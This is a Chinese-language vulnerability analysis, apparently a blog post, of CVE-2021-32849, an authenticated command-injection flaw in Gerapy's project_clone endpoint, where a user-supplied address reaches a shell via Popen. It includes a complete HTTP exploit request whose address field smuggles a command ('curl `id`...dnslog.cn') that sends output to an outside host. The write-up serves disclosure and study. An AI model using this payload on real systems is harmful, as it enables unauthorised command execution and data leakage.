@[TOC](Gerapy clone 后台远程命令执行漏洞【CVE-2021-32849】)
该漏洞的利用需要授权,虽然危害较大,但是感觉还是比较鸡肋的。
项目地址:Gerapy
该漏洞出现在项目的gerapy/server/core/views.py
中的project_clone
函数中:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| @api_view(['POST']) @permission_classes([IsAuthenticated]) def project_clone(request): """ clone project from github :param request: request object :return: json """ if request.method == 'POST': data = json.loads(request.body) address = data.get('address') if not address.startswith('http'): return JsonResponse({'status': False}) address = address + '.git' if not address.endswith('.git') else address cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem)) logger.debug('clone cmd %s', cmd) p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read()) logger.debug('clone run result %s', stdout) if stderr: logger.error(stderr) return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})
|
注意到第339行使用了Popen函数,搜一下这个函数的作用:

说白了可以用来执行系统命令,我们来验证一下:

成功弹出来了计算器。
所以如果cmd参数可控,那么就可以用来执行系统命令,
cmd的赋值操作:
1
| cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))
|
address或者target可控就可以执行命令
address的赋值操作:

观察这一串代码,首先将请求体的数据加载为python字典,然后获取其中address键的值赋值给address,同时还要满足address的值以http开头,否则就直接退出程序了。最后将address拼接.git赋值个address。从这个过程可以看到,address的值是我们完全可控的,也就意味着我们可以用来执行系统命令。
1 2 3 4 5 6 7 8 9 10 11 12
| POST /api/project/clone HTTP/1.1 Host: Content-Length: 61 Accept: application/json, text/plain, */* Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Content-Type: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close
{"address":"http://127.0.0.1;curl `id`.rwbmny.dnslog.cn"}
|
访问的api信息在这儿:

不幸的是,这个操作需要认证,看到请求头中的Authorization标头了吗,无语凝噎:

顺着这个思路其实还有一系列的利用链条,有兴趣的可以自行下载源码审计。